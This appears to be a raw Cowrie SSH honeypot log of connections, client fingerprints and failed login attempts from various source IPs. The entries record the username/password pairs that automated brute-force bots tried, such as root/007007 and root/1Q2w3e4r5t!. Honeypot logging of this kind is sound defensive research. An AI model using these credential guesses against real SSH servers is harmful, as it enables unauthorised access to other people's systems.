{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:14:17.654266Z","src_ip":"45.144.233.56","session":"584846362b80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"007007","message":"login attempt [root/007007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:14:18.057142Z","src_ip":"45.144.233.56","session":"584846362b80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:14:19.156575Z","src_ip":"45.144.233.56","session":"584846362b80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.76.170.111","src_port":50140,"dst_ip":"10.17.0.5","dst_port":22,"session":"2caf1ca7d180","protocol":"ssh","message":"New connection: 180.76.170.111:50140 (10.17.0.5:22) [session: 2caf1ca7d180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:14:43.353452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:14:43.360703Z","src_ip":"180.76.170.111","session":"2caf1ca7d180","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:14:43.818160Z","src_ip":"180.76.170.111","session":"2caf1ca7d180","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.77.48","src_port":53284,"dst_ip":"159.203.135.109","dst_port":22,"session":"c781764f1063","protocol":"ssh","message":"New connection: 103.154.77.48:53284 (159.203.135.109:22) [session: c781764f1063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:14:48.124026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:14:48.129555Z","src_ip":"103.154.77.48","session":"c781764f1063","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:14:48.369857Z","src_ip":"103.154.77.48","session":"c781764f1063","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:14:49.363130Z","src_ip":"103.154.77.48","session":"c781764f1063","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:14:50.636075Z","src_ip":"103.154.77.48","session":"c781764f1063","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":54050,"dst_ip":"10.17.0.5","dst_port":22,"session":"7412be6ee86a","protocol":"ssh","message":"New connection: 20.160.86.7:54050 (10.17.0.5:22) [session: 7412be6ee86a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:18.845221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:18.851020Z","src_ip":"20.160.86.7","session":"7412be6ee86a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:18.938262Z","src_ip":"20.160.86.7","session":"7412be6ee86a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd12345678","message":"login attempt [root/Abcd12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:19.301825Z","src_ip":"20.160.86.7","session":"7412be6ee86a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:20.394388Z","src_ip":"20.160.86.7","session":"7412be6ee86a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.53.94.246","src_port":34104,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8ea2b40aed0","protocol":"ssh","message":"New connection: 202.53.94.246:34104 (159.203.135.109:22) [session: a8ea2b40aed0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:26.312564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:26.318002Z","src_ip":"202.53.94.246","session":"a8ea2b40aed0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:26.537223Z","src_ip":"202.53.94.246","session":"a8ea2b40aed0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testt","password":"testt","message":"login attempt [testt/testt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:27.442804Z","src_ip":"202.53.94.246","session":"a8ea2b40aed0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:28.664579Z","src_ip":"202.53.94.246","session":"a8ea2b40aed0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":36618,"dst_ip":"159.203.135.109","dst_port":22,"session":"7046c8a362fe","protocol":"ssh","message":"New connection: 147.45.199.80:36618 (159.203.135.109:22) [session: 7046c8a362fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:32.270641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:32.275679Z","src_ip":"147.45.199.80","session":"7046c8a362fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:32.372472Z","src_ip":"147.45.199.80","session":"7046c8a362fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dmitriev","message":"login attempt [root/dmitriev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:32.653772Z","src_ip":"147.45.199.80","session":"7046c8a362fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:33.751569Z","src_ip":"147.45.199.80","session":"7046c8a362fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.223.60.209","src_port":36126,"dst_ip":"10.17.0.5","dst_port":22,"session":"025d2b0f941e","protocol":"ssh","message":"New connection: 190.223.60.209:36126 (10.17.0.5:22) [session: 025d2b0f941e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:41.799097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:41.803261Z","src_ip":"190.223.60.209","session":"025d2b0f941e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:41.928487Z","src_ip":"190.223.60.209","session":"025d2b0f941e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.56","src_port":37922,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fb9d2badfaf","protocol":"ssh","message":"New connection: 45.144.233.56:37922 (10.17.0.5:22) [session: 2fb9d2badfaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:42.362721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:42.370779Z","src_ip":"45.144.233.56","session":"2fb9d2badfaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r5t!","message":"login attempt [root/1Q2w3e4r5t!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:42.460983Z","src_ip":"190.223.60.209","session":"025d2b0f941e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:42.466806Z","src_ip":"45.144.233.56","session":"2fb9d2badfaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yc123456","message":"login attempt [root/Yc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:42.903918Z","src_ip":"45.144.233.56","session":"2fb9d2badfaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:43.590122Z","src_ip":"190.223.60.209","session":"025d2b0f941e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:44.001447Z","src_ip":"45.144.233.56","session":"2fb9d2badfaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":53796,"dst_ip":"159.203.135.109","dst_port":22,"session":"72d9389adcee","protocol":"ssh","message":"New connection: 102.210.148.92:53796 (159.203.135.109:22) [session: 72d9389adcee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:45.166072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:45.170767Z","src_ip":"102.210.148.92","session":"72d9389adcee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:45.414159Z","src_ip":"102.210.148.92","session":"72d9389adcee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqqqqq","message":"login attempt [root/qqqqqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:46.415659Z","src_ip":"102.210.148.92","session":"72d9389adcee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:47.668709Z","src_ip":"102.210.148.92","session":"72d9389adcee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.148.224.183","src_port":46894,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d6bd712ad23","protocol":"ssh","message":"New connection: 186.148.224.183:46894 (159.203.135.109:22) [session: 6d6bd712ad23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:15:57.198691Z"}
